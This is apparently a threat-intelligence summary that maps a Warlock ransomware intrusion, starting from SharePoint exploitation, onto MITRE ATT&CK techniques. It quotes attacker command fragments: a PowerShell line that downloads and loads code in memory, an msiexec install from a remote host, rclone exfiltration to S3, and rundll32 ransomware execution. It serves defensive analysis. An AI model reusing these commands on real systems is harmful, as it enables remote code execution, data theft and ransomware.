Web Shells, Tunnels, and Ransomware: Dissecting a Warlock Attack

MITRE Techniques

• [T1190 ] Exploit Public‑Facing Application – Used to gain initial foothold via SharePoint vulnerabilities (‘Microsoft SharePoint vulnerabilities remain as some of the entry vectors being abused by these threat actors’).
• [T1059.001 ] Command and Scripting Interpreter: PowerShell – PowerShell was used for downloading and reflective in-memory execution (‘[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData(…)’).
• [T1505.003 ] Server Software Component: Web Shell – Persistence in IIS/SharePoint via web shell creation (‘the web shell cproxy.aspx was then written to C:ProgramDatacproxy.aspx by w3wp.exe’).
• [T1068 ] Exploitation for Privilege Escalation – Achieved domain control and administrator account changes after lateral activity (‘gained control of the DC, reset the password of the built-in Administrator account’).
• [T1218.011 ] System Binary Proxy Execution: Rundll32 – Ransomware executed via rundll32 invoking RunCryptor (‘rundll32 c:userspublicrun.dll,RunCryptor’).
• [T1027 ] Obfuscated Files or Information – C2 and payloads concealed using encoded scripts and obfuscation (‘The encoded data is concealed within a jQuery script, designed to blend seamlessly with ordinary web traffic’).
• [T1562.001 ] Impair Defenses: Disable or Modify Tools – BYOVD technique used to terminate security processes at kernel level (‘leveraged it to continuously terminate security product processes at the kernel level’).
• [T1620 ] Reflective Code Loading – In-memory .NET assembly loading and execution via Reflection.Assembly::Load and EntryPoint.Invoke (‘[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData(…)).EntryPoint.Invoke(…)’).
• [T1003.006 ] OS Credential Dumping: DCSync – DCSync attacks performed using a tool to impersonate a DC (‘debug.exe was used to impersonate a Domain Controller and retrieve user credentials’).
• [T1087.002 ] Account Discovery: Domain Account – Discovery and manipulation of domain accounts were observed during lateral movement (‘added a domain user to the Domain Administrators group’).
• [T1021.002 ] Remote Services: SMB/Windows Admin Shares – Ransomware and scripts staged and invoked via SYSVOL/NETLOGON shares (‘rundll32 [VICTIM-DOMAIN]SYSVOL[VICTIM-DOMAIN]scriptsrunrun.dll,RunCryptor’).
• [T1021.001 ] Remote Services: Remote Desktop Protocol – RDP Patcher/wrapper used to enable concurrent sessions and stealthy remote access (‘RDP Patcher enables the non-server Windows edition to have concurrent RDP sessions’).
• [T1021.006 ] Remote Services: Windows Remote Management – PSRemoting was enabled and used for remote command execution (‘Enable-PSRemoting -Force -SkipNetworkProfileCheck’).
• [T1560.001 ] Archive Collected Data: Archive via Utility – Data exfiltration and collection used a renamed rclone to copy files to S3 (‘TrendFileSecurityCheck.exe copy REDACTEDREDACTED :s3:REDACTED/src …’).
• [T1095 ] Non‑Application Layer Protocol – Use of SOCKS5 reverse tunnels and nonstandard ports via Yuze for C2 (‘Yuze … supports forward and reverse SOCKS5 proxy tunneling’).
• [T1572 ] Protocol Tunneling – Multiple tunneling mechanisms used for covert C2, including Cloudflare, VS Code tunnels, and Yuze (‘leveraged VS Code’s built-in tunneling capability to establish a covert C&C channel’).
• [T1105 ] Ingress Tool Transfer – Remote download and execution of tools (v4.msi/Velociraptor) from Supabase and other hosting (‘msiexec /q /i hxxps://…supabase[.]co/…/v4.msi’).
• [T1048.003 ] Exfiltration Over Alternative Protocol: Unencrypted Non‑C2 Protocol – Data exfiltration using renamed rclone to an S3 bucket and other offsite storage (‘TrendFileSecurityCheck.exe copy … :s3:REDACTED/src …’).
• [T1486 ] Data Encrypted for Impact – Ransomware encryption performed by run.dll’s RunCryptor export (‘RunCryptor that performs the actual file encryption’).